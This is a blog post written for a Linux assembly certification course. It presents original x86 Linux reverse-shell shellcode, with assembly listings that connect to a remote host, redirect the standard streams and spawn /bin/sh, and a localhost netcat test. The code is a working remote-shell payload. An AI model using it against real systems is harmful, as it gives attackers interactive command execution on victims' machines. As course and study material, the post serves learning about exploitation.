SLAE A.2 - TCP Reverse Shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1294

This second assignment is to create an original x86 Linux shellcode for a TCP reverse shell. It is built on the TCP bind shell discussed in Assignment 1. I won’t repeat the details of locating syscall numbers and related constants. The full source code is available on GitHub.

A reverse shell needs to connect back to the attacker’s host so it must contain the remote IP address and port. In this shellcode, these are inserted at assembly-time with -D parameters to nasm. These parameters are generated by the python build script.

The shellcode must perform these syscalls in order:

  • socket() - Get a socket
  • connect() - Establish a TCP connection to chosen remote host
  • dup2() x3 - Redirect STDIN, STDOUT, STDERR to the network socket
  • execve() - Launch /bin/sh

Some of it is similar to the bind shell but this time I’ve made an effort to minimise the shellcode length, which is 75 bytes in total. Samples on shell-storm.org are 67, 72 and 92 bytes so it’s not bad. There is room for improvement of course.

Obtaining a socket

Register values could contain anything at the shellcode entry point so they must be cleared. Then we can set the parameters to get an AF_INET socket. This is the same as the bind shell, except we will leave the resulting file descriptor (fd) in EAX for the moment.

xor eax, eax		; initial register cleanup
xor ebx, ebx
xor ecx, ecx
mov ax, SYS_SOCKET	; syscall
mov bl, AF_INET		; domain
mov cl, SOCK_STREAM	; type
xor edx, edx		; protocol = 0
int 0x80

Connecting to the remote host

To establish an outgoing TCP connection we must use the connect() syscall. The struct sockaddr contains the remote IP and port in a packed format.

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

We will push the contents of the struct sockaddr onto the stack and take its address from ESP. The addrlen is expected to be at least 16. In this case it will be parsed as a struct sockaddr_in, which has all required information in the first 8 bytes. To save instructions we will only push 8 bytes (in reverse order) and leave the second half filled with whatever junk is already on the stack.

push dword REMOTE_IP
push word REMOTE_PORT
push bx			; 0x0002 = AF_INET from before

These REMOTE_IP and REPORT_PORT constants are the parameters provided by -D. They are expected to be numbers already in the required format—32-bit big endian for IP address and 16-bit big endian for port. This conversion is handled by the build script.

With ESP now pointing to the head of the struct, the call to connect() can be set up. The fd that was returned from socket() is still sitting in EAX so it must be moved to the EBX parameter. ECX is the addr pointer, taken from ESP. EDX is addrlen and we will pretend that it’s 16 bytes long.

mov ebx, eax		; Save socket fd in EBX for next call

; Establish a connection
mov ax, SYS_CONNECT
; EBX = sockfd
mov ecx, esp		; top of stack is the address structure
mov dl, 16		; pretend it's 16 bytes
int 0x80		; assume connection worked, EAX = 0

Redirecting stdin, stdout, stderr

The shell’s input and output will be redirected to the TCP connection by replacing fds 0, 1 and 2 with the connected network socket. In the bind shell I simply performed three calls to dup2() one after the other. In an effort to be more efficient this is now a loop.

ECX is initialised to 3. Each loop subtracts 1 then uses it as the newfd parameter for dup2(). After this has run for ECX = 0, execution continues onward.

	xor ecx, ecx
	mov cl, 3		; start at STDERR+1 and go down
next_dup:
	mov al, SYS_DUP2        ; syscall. first param oldfd already in EBX
	dec ecx
	int 0x80
	jnz short next_dup	; keep going until we've run it for ecx = 0

Spawning /bin/sh

Finally, the shell is executed using execve(). The required data structures are pushed onto the stack—the null-terminated string “/bin//sh”, and pointers for the argv and envp arrays. This is fundamentally the same as the bind shell but it has been streamlined a little. ECX contains 0 after the dup2() loops so it is used to create the NULL entries on the stack.

; /bin//sh = 0x2f 0x62 0x69 0x6e 0x2f 0x2f 0x73 0x68
push ecx   		; null termination
push dword 0x68732f2f	; last half of string
push dword 0x6e69622f	; first half of string = filename
mov ebx, esp		; ebx = ptr to filename
push ecx		; null terminator of array = envp array
mov edx, esp		; edx = ptr to envp
push ebx      		; After this, esp = start of argv array
mov ecx, esp		; ecx = ptr to argv

mov al, SYS_EXECVE	; syscall
int 0x80

Demonstration

It compiles and builds. Any valid IP and port can be used, provided the resulting big-endian structure does not contain a zero byte. The build script generates an error if it does.

To test it, a netcat listener is first run on localhost port 4444. After that, shell_test is executed and we see that nc catches a connection.

The remote user can run interactive commands in the shell.

Once the remote user exits the shell, the shellcode ends and the wrapper terminates.